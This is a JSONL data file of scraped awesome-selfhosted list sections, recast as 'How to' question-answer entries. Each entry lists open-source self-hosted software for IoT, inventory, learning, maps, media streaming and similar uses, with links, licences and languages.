{"id": "gh_20aa57b603b3", "question": "How to: Internet of Things (IoT)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Internet of Things](https://en.wikipedia.org/wiki/Internet_of_things) describes physical objects with sensors, processing ability, software, and other technologies that connect and exchange data with other devices over the Internet.\n\n- [Domoticz](https://www.domoticz.com/) - Home Automation System that lets you monitor and configure various devices like: Lights, Switches, various sensors/meters like Temperature, Rain, Wind, UV, Electra, Gas, Water and much more. ([Source Code](https://github.com/domoticz/domoticz), [Clients](https://github.com/domoticz/domoticz-android)) `GPL-3.0` `C/C++/Docker/Shell`\n- [EMQX](https://www.emqx.io/) - Scalable MQTT broker. Connect 100M+ IoT devices in one single cluster, move and process real-time IoT data with 1M msg/s throughput at 1ms latency. ([Demo](https://www.emqx.com/en/mqtt/public-mqtt5-broker), [Source Code](https://github.com/emqx/emqx)) `Apache-2.0` `Docker/Erlang`\n- [evcc](https://evcc.io/) - Extensible Electric Vehicle Charge Controller and home energy management system. ([Source Code](https://github.com/evcc-io/evcc)) `MIT` `deb/Docker/Go`\n- [FHEM](https://fhem.de/fhem.html) - Automate common tasks in the household like switching lamps and heating. It can also be used to log events like temperature or power consumption. You can control it via web or smartphone frontends, telnet or TCP/IP directly. ([Source Code](https://svn.fhem.de/trac)) `GPL-3.0` `Perl`\n- [FlowForge](https://flowforge.com/) - Deploy Node-RED applications in a reliable, scalable and secure manner. The FlowForge platform provides DevOps capabilities for Node-RED development teams. ([Source Code](https://github.com/FlowFuse/flowfuse)) `Apache-2.0` `Nodejs/Docker/K8S`\n- [FMD Server](https://fmd-foss.org) - A server to communicate with the FMD (Find My Device) Android app, to locate and control your devices. ([Source Code](https://gitlab.com/fmd-foss/fmd-server), [Clients](https://gitlab.com/fmd-foss/fmd-android)) `GPL-3.0` `Docker/Go`\n- [Gladys](https://gladysassistant.com/) - Privacy-first home assistant. ([Source Code](https://github.com/GladysAssistant/Gladys)) `Apache-2.0` `Nodejs/Docker`\n- [Home Assistant](https://home-assistant.io/) - Home automation platform. ([Demo](https://home-assistant.io/demo/), [Source Code](https://github.com/home-assistant/core)) `Apache-2.0` `Python/Docker`\n- [ioBroker](https://www.iobroker.net/) - Integration platform for the Internet of Things, focused on building automation, smart metering, ambient assisted living, process automation, visualization and data logging. ([Source Code](https://github.com/ioBroker/ioBroker)) `MIT` `Nodejs`\n- [LHA](https://github.com/javalikescript/lha) - Light Home Automation application that is fully extensible using Blockly, HTML or Lua. It includes extensions such as ConBee, Philips Hue or Z-Wave JS. `MIT` `Lua`\n- [Node RED](https://nodered.org/) - Browser-based flow editor that helps you wiring hardware devices, APIs and online services to create IoT solutions. ([Source Code](https://github.com/node-red/node-red)) `Apache-2.0` `Nodejs/Docker`\n- [openHAB](https://www.openhab.org) - Vendor and technology agnostic open source software for home automation. ([Source Code](https://github.com/openhab/openhab-core)) `EPL-2.0` `Java`\n- [OpenRemote](https://openremote.io) - IoT Asset management, Flow Rules and WHEN-THEN rules, Data visualization, Edge Gateway. ([Demo](https://demo.openremote.io/), [Source Code](https://github.com/openremote/openremote)) `AGPL-3.0` `Java`\n- [SIP Irrigation Control](https://dan-in-ca.github.io/SIP/) - Open source software for sprinkler/irrigation control. ([Source Code](https://github.com/Dan-in-CA/SIP)) `GPL-3.0` `Python`\n- [Tasmota](https://tasmota.com) - Open source firmware for ESP devices. Total local control with quick setup and updates. Control using MQTT, Web UI, HTTP or serial. Automate using timers, rules or scripts. Integration with home automation solutions. ([Source Code](https://github.com/arendst/Tasmota)) `GPL-3.0` `C/C++`\n- [Thingsboard](https://thingsboard.io/) - Open-source IoT Platform - Device management, data collection, processing and visualization. ([Demo](https://demo.thingsboard.io/signup), [Source Code](https://github.com/thingsboard/thingsboard)) `Apache-2.0` `Java/Docker/K8S`\n- [WebThings Gateway](https://webthings.io/gateway/) - WebThings is an open source implementation of the Web of Things, including the WebThings Gateway and the WebThings Framework. ([Source Code](https://github.com/WebThingsIO/gateway)) `MPL-2.0` `Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557301"}
{"id": "gh_16b9a7a067b1", "question": "How to: Inventory Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Inventory management software](https://en.wikipedia.org/wiki/Inventory_management_software).\n\n_Related: [Money, Budgeting & Management](#money-budgeting--management), [Resource Planning](#resource-planning)_\n\n_See also: [awesome-sysadmin/IT Asset Management](https://github.com/awesome-foss/awesome-sysadmin#it-asset-management)_\n\n- [Cannery](https://cannery.app) - Firearm and ammunition tracker app. ([Source Code](https://gitea.bubbletea.dev/shibao/cannery)) `AGPL-3.0` `Docker`\n- [HomeBox (SysAdminsMedia)](https://homebox.software/) - Inventory and organization system built for the home user. ([Demo](https://demo.homebox.software/), [Source Code](https://github.com/sysadminsmedia/homebox)) `AGPL-3.0` `Docker/Go`\n- [Inventaire](https://inventaire.io/welcome) - Collaborative resources mapper project, while yet only focused on exploring books mapping with wikidata and ISBNs. ([Source Code](https://codeberg.org/inventaire/inventaire)) `AGPL-3.0` `Nodejs`\n- [Inventree](https://docs.inventree.org/en/latest/) - Inventory management system which provides intuitive parts management and stock control. ([Demo](https://inventree.org/demo), [Source Code](https://github.com/inventree/InvenTree)) `MIT` `Python`\n- [Open QuarterMaster](https://openquartermaster.com/) - Powerful inventory management system, designed to be flexible and scalable. ([Source Code](https://github.com/Epic-Breakfast-Productions/OpenQuarterMaster)) `GPL-3.0` `deb/Docker`\n- [Part-DB](https://docs.part-db.de/) - Inventory management system for your electronic components. ([Demo](https://demo.part-db.de/en/), [Source Code](https://github.com/Part-DB/Part-DB-server)) `AGPL-3.0` `Docker/PHP/Nodejs`\n- [Shelf](https://www.shelf.nu) - Asset and equipment tracking software used by teams who value clarity. Shelf is an asset database and QR asset label generator that lets you create, manage and overview your assets across locations. Unlimited assets, free forever. ([Source Code](https://github.com/Shelf-nu/shelf.nu)) `AGPL-3.0` `Nodejs`\n- [Spoolman](https://github.com/Donkie/Spoolman) - Keep track of your inventory of 3D-printer filament spools. `MIT` `Docker/Python`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557307"}
{"id": "gh_d2f47f3ef4c1", "question": "How to: Knowledge Management Tools", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Knowledge management](https://en.wikipedia.org/wiki/Knowledge_management) is the collection of methods relating to creating, sharing, using and managing the knowledge and information.\n\n_Related: [Note-taking & Editors](#note-taking--editors), [Wikis](#wikis), [Database Management](#database-management)_\n\n- [AFFiNE Community Edition](https://affine.pro/) - Next-gen knowledge base that brings planning, sorting and creating all together. Privacy first, customizable and ready to use (alternative to Notion and Miro). ([Demo](https://app.affine.pro/), [Source Code](https://github.com/toeverything/AFFiNE)) `MIT/AGPL-3.0` `Docker`\n- [Atomic Server](https://github.com/atomicdata-dev/atomic-server) - Knowledge graph database with documents (similar to Notion), tables, search, and a powerful linked data API. Lightweight, very fast and no runtime dependencies. ([Demo](https://atomicdata.dev/)) `MIT` `Docker/Rust`\n- [Digimindmap](https://ladigitale.dev/digimindmap/#/) - Create simple mindmaps (documentation in French). ([Demo](https://ladigitale.dev/digimindmap/#/), [Source Code](https://codeberg.org/ladigitale/digimindmap)) `AGPL-3.0` `Nodejs/PHP`\n- [LibreKB](https://librekb.com/) - Web-based knowledge base solution. A simple web app, it runs on pretty much any web server or hosting provider with PHP and MySQL. ([Source Code](https://github.com/michaelstaake/LibreKB/)) `GPL-3.0` `PHP`\n- [memEx](https://gitea.bubbletea.dev/shibao/memEx) - Structured personal knowledge base, inspired by zettlekasten and org-mode. `AGPL-3.0` `Docker`\n- [SiYuan](https://b3log.org/siyuan/) - A privacy-first personal knowledge management software, written in typescript and golang. ([Source Code](https://github.com/siyuan-note/siyuan)) `AGPL-3.0` `Docker/Go`\n- [TeamMapper](https://github.com/b310-digital/teammapper) - Host and create your own mindmaps. Share your mindmap sessions with your team and collaborate live on mindmaps. ([Demo](https://map.kits.blog)) `MIT` `Docker/Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557314"}
{"id": "gh_5b711e0bbbd6", "question": "How to: Learning and Courses", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nTools and software to help with education and learning.\n\n- [Canvas LMS](https://www.instructure.com/canvas/) - Learning management system (LMS) that is revolutionizing the way we educate. ([Demo](https://canvas.instructure.com/register), [Source Code](https://github.com/instructure/canvas-lms)) `AGPL-3.0` `Ruby`\n- [Chamilo LMS](https://chamilo.org/) - Create a virtual campus for the provision of online or semi-online training. ([Source Code](https://github.com/chamilo/chamilo-lms)) `GPL-3.0` `PHP`\n- [Digiscreen](https://ladigitale.dev/digiscreen/) - Interactive whiteboard/wallpaper for the classroom, in person or remotely (documentation in French). ([Demo](https://ladigitale.dev/digiscreen/), [Source Code](https://codeberg.org/ladigitale/digiscreen)) `AGPL-3.0` `Nodejs/PHP`\n- [Digitools](https://ladigitale.dev/digitools) - A set of simple tools to accompany the animation of courses in person or remotely. (documentation in French). ([Demo](https://ladigitale.dev/digitools/), [Source Code](https://codeberg.org/ladigitale/digitools)) `AGPL-3.0` `PHP`\n- [edX](https://www.edx.org/) - The Open edX platform is open-source code that powers edX.org. ([Source Code](https://github.com/edx/)) `AGPL-3.0` `Python`\n- [Gibbon](https://gibbonedu.org/) - Flexible school management platform designed to make life better for teachers, students, parents and leaders. ([Source Code](https://github.com/GibbonEdu/core)) `GPL-3.0` `PHP`\n- [ILIAS](https://www.ilias.de) - Learning management system that can cope with anything you throw at it. ([Demo](https://demo.ilias.de), [Source Code](https://github.com/ILIAS-eLearning/ILIAS)) `GPL-3.0` `PHP`\n- [INGInious](https://inginious.org/?lang=en) - Intelligent grader that allows secured and automated testing of code made by students. ([Source Code](https://github.com/INGInious/INGInious), [Clients](https://github.com/INGInious/plugins)) `AGPL-3.0` `Python/Docker`\n- [Moodle](https://moodle.org/) - Learning and courses platform with one of the largest open source communities worldwide. ([Demo](https://moodle.org/demo/), [Source Code](https://git.moodle.org/gw)) `GPL-3.0` `PHP`\n- [Open eClass](https://www.openeclass.org/) - Open eClass is an advanced e-learning solution that can enhance the teaching and learning process. ([Demo](https://demo.openeclass.org/), [Source Code](https://github.com/gunet/openeclass)) `GPL-2.0` `PHP`\n- [OpenOLAT](https://www.openolat.com/?lang=en) - Learning management system for teaching, education, assessment and communication. ([Demo](https://learn.olat.com), [Source Code](https://github.com/OpenOLAT/OpenOLAT)) `Apache-2.0` `Java`\n- [QST](https://qstonline.org) - Online assessment software. From a quick quiz on your phone to large scale, high stakes, proctored desktop testing, easy, secure and economical. ([Demo](https://qstonline.org/free_account.htm), [Source Code](https://sourceforge.net/projects/qstonline/)) `GPL-2.0` `Perl`\n- [RELATE](https://documen.tician.de/relate/) - Courseware package that includes features such as: flexible rules, statistics, multi-course support, class calendar. ([Source Code](https://github.com/inducer/relate)) `MIT` `Python`\n- [RosarioSIS](https://www.rosariosis.org/) - Student Information System for school management. Features students demographics, grades, scheduling, attendance, student billing, discipline & food service modules. ([Demo](https://www.rosariosis.org/demo/), [Source Code](https://gitlab.com/francoisjacquet/rosariosis/)) `GPL-2.0` `PHP`\n- [Schoco](https://github.com/PhiTux/schoco) - Online IDE for learning Java programming at school, including automatic JUnit tests. Designed to give coding homework/assignments. `MIT` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557321"}
{"id": "gh_3f1d5752f08a", "question": "How to: Manufacturing", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware to manage [3D printers](https://en.wikipedia.org/wiki/3D_printing), [CNC machines](https://en.wikipedia.org/wiki/Numerical_control) and other physical manufacturing tools.\n\n- [CNCjs](https://cnc.js.org/) - Web interface for CNC milling controllers running Grbl, Smoothieware, or TinyG. ([Source Code](https://github.com/cncjs/cncjs/)) `MIT` `Nodejs`\n- [Fluidd](https://docs.fluidd.xyz/) - Lightweight & responsive user interface for Klipper, the 3D printer firmware. ([Source Code](https://github.com/fluidd-core/fluidd)) `GPL-3.0` `Docker/Nodejs`\n- [Mainsail](https://docs.mainsail.xyz/) - Modern and responsive user interface for the Klipper 3D printer firmware. Control and monitor your printer from everywhere, from any device. ([Source Code](https://github.com/mainsail-crew/mainsail)) `GPL-3.0` `Docker/Python`\n- [Manyfold](https://manyfold.app) - Digital asset manager for 3d print files; STL, OBJ, 3MF and more. ([Source Code](https://github.com/manyfold3d/manyfold)) `MIT` `Docker`\n- [Octoprint](https://octoprint.org/) - Snappy web interface for controlling consumer 3D printers. ([Source Code](https://github.com/OctoPrint/OctoPrint)) `AGPL-3.0` `Docker/Python`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557327"}
{"id": "gh_46c6a719da6b", "question": "How to: Maps and Global Positioning System (GPS)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Maps](https://en.wikipedia.org/wiki/Map), [cartography](https://en.wikipedia.org/wiki/Cartography), [GIS](https://en.wikipedia.org/wiki/Geographic_information_system) and [GPS](https://en.wikipedia.org/wiki/Global_Positioning_System) software.\n\n_See also: [awesome-openstreetmap](https://github.com/osmlab/awesome-openstreetmap), [awesome-gis](https://github.com/sshuair/awesome-gis)_\n\n- [AdventureLog](https://adventurelog.app) - Travel tracker and trip planner. ([Demo](https://demo.adventurelog.app/signup), [Source Code](https://github.com/seanmorley15/AdventureLog)) `GPL-3.0` `Docker`\n- [AirTrail](https://airtrail.johan.ohly.dk) - Personal flight tracking system. ([Source Code](https://github.com/johanohly/AirTrail)) `GPL-3.0` `Docker/Nodejs`\n- [Bicimon](https://github.com/knrdl/bicimon) - Bike Speedometer as Progressive Web App. ([Demo](https://knrdl.github.io/bicimon/)) `MIT` `Javascript`\n- [Dawarich](https://dawarich.app/) - Visualize your location history, track your movements, and analyze your travel patterns with complete privacy and control (alternative to Google Timeline a.k.a. Google Location History). ([Source Code](https://github.com/Freika/dawarich)) `AGPL-3.0` `Docker`\n- [Geo2tz](https://github.com/noandrea/geo2tz) - Get the timezone from geo coordinates (lat, lon). `MIT` `Go/Docker`\n- [GraphHopper](https://graphhopper.com/) - Fast routing library and server using OpenStreetMap. ([Source Code](https://github.com/graphhopper/graphhopper)) `Apache-2.0` `Java`\n- [Nominatim](https://nominatim.org/) - Server application for geocoding (address -> coordinates) and reverse geocoding (coordinates -> address) on OpenStreetMap data. ([Source Code](https://github.com/osm-search/Nominatim)) `GPL-2.0` `C`\n- [Open Source Routing Machine (OSRM)](http://project-osrm.org/) - High performance routing engine designed to run on OpenStreetMap data and offering an HTTP API, C++ library interface, and Nodejs wrapper. ([Demo](https://map.project-osrm.org/), [Source Code](https://github.com/Project-OSRM/osrm-backend)) `BSD-2-Clause` `C++`\n- [OpenRouteService](https://openrouteservice.org/) - Route service with directions, isochrones, time-distance matrix, route optimization, etc. ([Demo](https://openrouteservice.org/dev/#/api-docs/introduction), [Source Code](https://github.com/GIScience/openrouteservice)) `GPL-3.0` `Docker/Java`\n- [OpenStreetMap](https://www.openstreetmap.org/) - Collaborative project to create a free editable map of the world. ([Source Code](https://github.com/openstreetmap/openstreetmap-website), [Clients](https://wiki.openstreetmap.org/wiki/Software)) `GPL-2.0` `Ruby`\n- [OpenTripPlanner](https://www.opentripplanner.org/) - Multimodal trip planning software based on OpenStreetMap data and consuming published GTFS-formatted data to suggest routes using local public transit systems. ([Source Code](https://github.com/opentripplanner/OpenTripPlanner)) `LGPL-3.0` `Java/Javascript`\n- [OwnTracks Recorder](https://github.com/owntracks/recorder) `⚠` - Store and access data published by [OwnTracks](https://owntracks.org/) location tracking apps. `GPL-2.0` `C/Lua/deb/Docker`\n- [TileServer GL](https://tileserver.readthedocs.io/) - Vector and raster maps with GL styles. Server side rendering by Mapbox GL Native. Map tile server for Mapbox GL JS, Android, iOS, Leaflet, OpenLayers, GIS via WMTS, etc. ([Source Code](https://github.com/maptiler/tileserver-gl)) `BSD-2-Clause` `Nodejs/Docker`\n- [Traccar](https://www.traccar.org/) - Java application to track GPS positions. Supports loads of tracking devices and protocols, has an Android and iOS App. Has a web interface to view your trips. ([Demo](https://demo.traccar.org/), [Source Code](https://github.com/traccar)) `Apache-2.0` `Java`\n- [wanderer](https://github.com/Flomp/wanderer) - Trail database where you can upload your recorded tracks or create new ones and add various metadata to build an easily searchable catalogue. ([Demo](https://demo.wanderer.to)) `AGPL-3.0` `Docker/Go/Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557338"}
{"id": "gh_cf11e794c6a3", "question": "How to: Media Streaming", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Streaming media](https://en.wikipedia.org/wiki/Streaming_media) is multimedia that is delivered and consumed in a continuous manner from a source, with little or no intermediate storage in network elements.\n\n**Please visit [Media streaming - Audio Streaming](#media-streaming---audio-streaming), [Media streaming - Multimedia Streaming](#media-streaming---multimedia-streaming), [Media streaming - Video Streaming](#media-streaming---video-streaming), [Media Management](#media-management)**\n\n_See also: [List of streaming media systems - Wikipedia](https://en.wikipedia.org/wiki/List_of_streaming_media_systems), [Comparison of streaming media systems - Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_streaming_media_systems)_", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557357"}
{"id": "gh_d5b188cf2a3e", "question": "How to: Media Streaming - Audio Streaming", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Audio](https://en.wikipedia.org/wiki/Audio) streaming tools and software.\n\n_Related: [Media Management](#media-management)_\n\n- [Ampache](https://ampache.org/) - Web based audio/video streaming application. ([Demo](https://play.dogmazic.net/), [Source Code](https://github.com/ampache/ampache)) `AGPL-3.0` `PHP`\n- [Audiobookshelf](https://www.audiobookshelf.org/) - Audiobook and podcast server. It streams all audio formats, keeps and syncs progress across devices. Comes with open-source apps for Android and iOS. ([Source Code](https://github.com/advplyr/audiobookshelf), [Clients](https://github.com/advplyr/audiobookshelf-app)) `GPL-3.0` `Docker/deb/Nodejs`\n- [Audioserve](https://github.com/izderadicka/audioserve) - Simple personal server to serve audio files from directories (audiobooks, music, podcasts...). Focused on simplicity and supports sync of play position between clients. `MIT` `Rust`\n- [AzuraCast](https://www.azuracast.com/) - Modern and accessible web radio management suite. ([Source Code](https://github.com/AzuraCast/AzuraCast)) `Apache-2.0` `Docker`\n- [Beets](https://beets.io/) - Music library manager and MusicBrainz tagger (command-line and Web interface). ([Source Code](https://github.com/beetbox/beets)) `MIT` `Python/deb`\n- [Black Candy](https://github.com/blackcandy-org/blackcandy) - Music streaming server. `MIT` `Docker/Ruby`\n- [Funkwhale](https://dev.funkwhale.audio/funkwhale) - Modern, web-based, convivial, multi-user and free music server. `BSD-3-Clause` `Python/Django`\n- [gonic](https://github.com/sentriz/gonic) - Lightweight music streaming server. Subsonic compatible. `GPL-3.0` `Go/Docker`\n- [koel](https://koel.dev/) - Personal music streaming server that works. ([Demo](https://demo.koel.dev/), [Source Code](https://github.com/koel/koel)) `MIT` `PHP`\n- [LibreTime](https://libretime.org) - Broadcast streaming radio on the web (fork of [Airtime](https://github.com/sourcefabric/Airtime)). ([Source Code](https://github.com/LibreTime/libretime)) `AGPL-3.0` `Docker/PHP`\n- [LMS](https://github.com/epoupon/lms) - Access your self-hosted music using a web interface. `GPL-3.0` `Docker/deb/C++`\n- [Lyrion Music Server](https://lyrion.org/) - Server software which controls a wide range of Squeezebox/Slim Devices audio players and compatible hardware (formerly Logitech Media Server). ([Source Code](https://github.com/lms-community/slimserver), [Clients](https://lyrion.org/extensions/applications/)) `GPL-2.0` `deb/Docker/Perl`\n- [Maloja](https://github.com/krateng/maloja) - Music scrobble database (alternative to Last.fm). ([Demo](https://maloja.krateng.ch/)) `GPL-3.0` `Python/Docker`\n- [moOde Audio](https://moodeaudio.org/) - Audiophile-quality music playback for the wonderful Raspberry Pi family of single board computers. ([Source Code](https://github.com/moode-player/moode)) `GPL-3.0` `PHP`\n- [Mopidy](https://docs.mopidy.com/) `⚠` - Extensible music server. Offers a superset of the mpd API, as well as integration with 3rd party services like Spotify, SoundCloud etc. ([Source Code](https://github.com/mopidy/mopidy)) `Apache-2.0` `Python/deb`\n- [mpd](https://www.musicpd.org/) - Daemon to remotely play music, stream music, handle and organize playlists. Many clients available. ([Source Code](https://github.com/MusicPlayerDaemon/MPD), [Clients](https://www.musicpd.org/clients/)) `GPL-2.0` `C++`\n- [mStream](https://mstream.io/) - Music streaming server with GUI management tools. Runs on Mac, Windows, and Linux. ([Source Code](https://github.com/IrosTheBeggar/mStream)) `GPL-3.0` `Nodejs`\n- [multi-scrobbler](https://foxxmd.github.io/multi-scrobbler) - Scrobble plays from multiple sources to multiple scrobbling services. ([Source Code](https://github.com/FoxxMD/multi-scrobbler)) `MIT` `Nodejs/Docker`\n- [musikcube](https://musikcube.com/) - Streaming audio server with Linux/macOS/Windows/Android clients. ([Source Code](https://github.com/clangen/musikcube)) `BSD-3-Clause` `C++/deb`\n- [Navidrome Music Server](https://www.navidrome.org) - Modern Music Server and Streamer, compatible with Subsonic/Airsonic. ([Demo](https://www.navidrome.org/demo), [Source Code](https://github.com/navidrome/navidrome), [Clients](https://www.navidrome.org/docs/overview/#apps)) `GPL-3.0` `Docker/Go`\n- [Pinepods](https://www.pinepods.online/) - Podcast management system with multi-user support. Pinepods utilizes a central database so aspects like listen time and themes follow from device to device. ([Demo](https://try.pinepods.online), [Source Code](https://github.com/madeofpendletonwool/PinePods)) `GPL-3.0` `Docker`\n- [Polaris](https://github.com/agersant/polaris) - Music browsing and streaming application optimized for large music collections, ease of use and high performance. `MIT` `Rust/Docker`\n- [Snapcast](https://github.com/badaix/snapcast) - Synchronous multiroom audio server. `GPL-3.0` `C++/deb`\n- [Stretto](https://github.com/benkaiser/stretto) `⚠` - Music player", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557378"}
{"id": "gh_e221209584a5", "question": "How to: Media Streaming - Multimedia Streaming", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Multimedia](https://en.wikipedia.org/wiki/Multimedia) streaming tools and software.\n\n_Related: [Media Streaming - Video Streaming](#media-streaming---video-streaming), [Media Streaming - Audio Streaming](#media-streaming---audio-streaming), [Media Management](#media-management)_\n\n- [ClipBucket](https://clipbucket.fr/) - Start your own video sharing website (YouTube/Netflix Clone) in a matter of minutes. ([Demo](https://demo.clipbucket.oxygenz.fr/), [Source Code](https://github.com/MacWarrior/clipbucket-v5)) `AAL` `Docker/PHP`\n- [cmyflix](https://github.com/farfalleflickan/cmyflix) - Minimalist Plex/Jellyfin alternative to stream video. `AGPL-3.0` `C/deb`\n- [Gerbera](https://gerbera.io/) - UPnP Media Server, which allows you to stream your digital media throughout your home network and listen to/watch it on a variety of UPnP compatible devices. ([Source Code](https://github.com/gerbera/gerbera)) `GPL-2.0` `Docker/deb/C++`\n- [Icecast 2](https://icecast.org) - Streaming audio/video server which can be used to create an Internet radio station or a privately running jukebox and many things in between. ([Source Code](https://gitlab.xiph.org/xiph/icecast-server), [Clients](https://icecast.org/apps/)) `GPL-2.0` `C`\n- [Jellyfin](https://jellyfin.org) - Media server for audio, video, books, comics, and photos with a sleek interface and robust transcoding capabilities. Almost all modern platforms have clients, including Roku, Android TV, iOS, and Kodi. ([Demo](https://demo.jellyfin.org/stable), [Source Code](https://github.com/jellyfin/jellyfin), [Clients](https://github.com/awesome-jellyfin/awesome-jellyfin)) `GPL-2.0` `C#/deb/Docker`\n- [Karaoke Eternal](https://www.karaoke-eternal.com) - Host awesome karaoke parties where everyone can easily find and queue songs from their phone's browser. The player is also fully browser-based with support for MP3+G, MP4 and WebGL visualizations. ([Source Code](https://github.com/bhj/KaraokeEternal)) `ISC` `Docker/Nodejs`\n- [Kodi](https://kodi.tv/) - Multimedia/Entertainment center, formerly known as XBMC. Runs on Android, BSD, Linux, macOS, iOS and Windows. ([Source Code](https://github.com/xbmc/xbmc)) `GPL-2.0` `C++/deb`\n- [Kyoo](https://github.com/zoriya/kyoo) - Innovative media browser designed for seamless streaming of anime, series and movies, offering advanced features like dynamic transcoding, auto watch history and intelligent metadata retrieval. ([Demo](https://kyoo.zoriya.dev)) `GPL-3.0` `Docker`\n- [Meelo](https://github.com/Arthi-chaud/Meelo) - Personal Music Server, designed for collectors and music maniacs. `GPL-3.0` `Docker`\n- [MistServer](https://mistserver.org/) - Public domain streaming media server that works with any device and any format. ([Source Code](https://github.com/DDVTECH/mistserver)) `Unlicense` `C++`\n- [NymphCast](http://nyanko.ws/nymphcast.php) - Turn your choice of Linux-capable hardware into an audio and video source for a television or powered speakers (alternative to Chromecast). ([Source Code](https://github.com/MayaPosch/NymphCast)) `BSD-3-Clause` `C++`\n- [Rygel](https://gnome.pages.gitlab.gnome.org/rygel/) - UPnP AV MediaServer that allows you to easily share audio, video, and pictures. Media player software may use Rygel to become a MediaRenderer that may be controlled remotely by a UPnP or DLNA Controller. ([Source Code](https://gitlab.gnome.org/GNOME/rygel/)) `LGPL-2.1` `C`\n- [Stash](https://stashapp.cc) - A web-based library organizer and player for your adult media stash, with auto-tagging and metadata scraping support. ([Source Code](https://github.com/stashapp/stash)) `AGPL-3.0` `Docker/Go`\n- [µStreamer](https://github.com/pikvm/ustreamer) - Lightweight and very quick server to stream MJPEG video from any V4L2 device to the net. `GPL-3.0` `C/deb`\n- [üWave](https://u-wave.net/) `⚠` - Self-hosted collaborative listening platform. Users take turns playing media—songs, talks, gameplay videos, or anything else—from a variety of media sources like YouTube and SoundCloud. ([Demo](https://wlk.yt/), [Source Code](https://github.com/u-wave)) `MIT` `Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557390"}
{"id": "gh_a5e0d4aa2f65", "question": "How to: Miscellaneous", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware that does not fit in another section.\n\n- [2FAuth](https://github.com/Bubka/2FAuth) - Manage your Two-Factor Authentication (2FA) accounts and generate their security codes. ([Demo](https://demo.2fauth.app/)) `AGPL-3.0` `PHP/Docker`\n- [Anchr](https://anchr.io) - Toolbox for tiny tasks on the internet, including bookmark collections, URL shortening and (encrypted) image uploads. ([Source Code](https://github.com/muety/anchr)) `GPL-3.0` `Nodejs`\n- [Anubis](https://anubis.techaro.lol/) - Web AI firewall utility which protects upstream resources from scraper bots. ([Source Code](https://github.com/TecharoHQ/anubis)) `MIT` `Docker/deb/Go`\n- [asciinema](https://asciinema.org/) - Web app for hosting asciicasts. ([Demo](https://asciinema.org/explore), [Source Code](https://github.com/asciinema/asciinema-server)) `Apache-2.0` `Elixir/Docker`\n- [Baby Buddy](https://github.com/babybuddy/babybuddy) - Helps caregivers track baby sleep, feedings, diaper changes, and tummy time. ([Demo](https://github.com/babybuddy/babybuddy#-demo)) `BSD-2-Clause` `Python`\n- [ClipCascade](https://github.com/Sathvik-Rao/ClipCascade) - Syncs your clipboard across multiple devices instantly, without any button press. Available on Windows, macOS, Linux, and Android, it provides seamless and secure clipboard sharing with end-to-end data encryption. `GPL-3.0` `Java/Docker`\n- [Cloudlog](https://magicbug.co.uk/cloudlog/) - Log your amateur radio contacts anywhere. ([Source Code](https://github.com/magicbug/cloudlog)) `MIT` `PHP/Docker`\n- [ConvertX](https://github.com/C4illin/ConvertX) - Online file converter which supports over a thousand different formats. 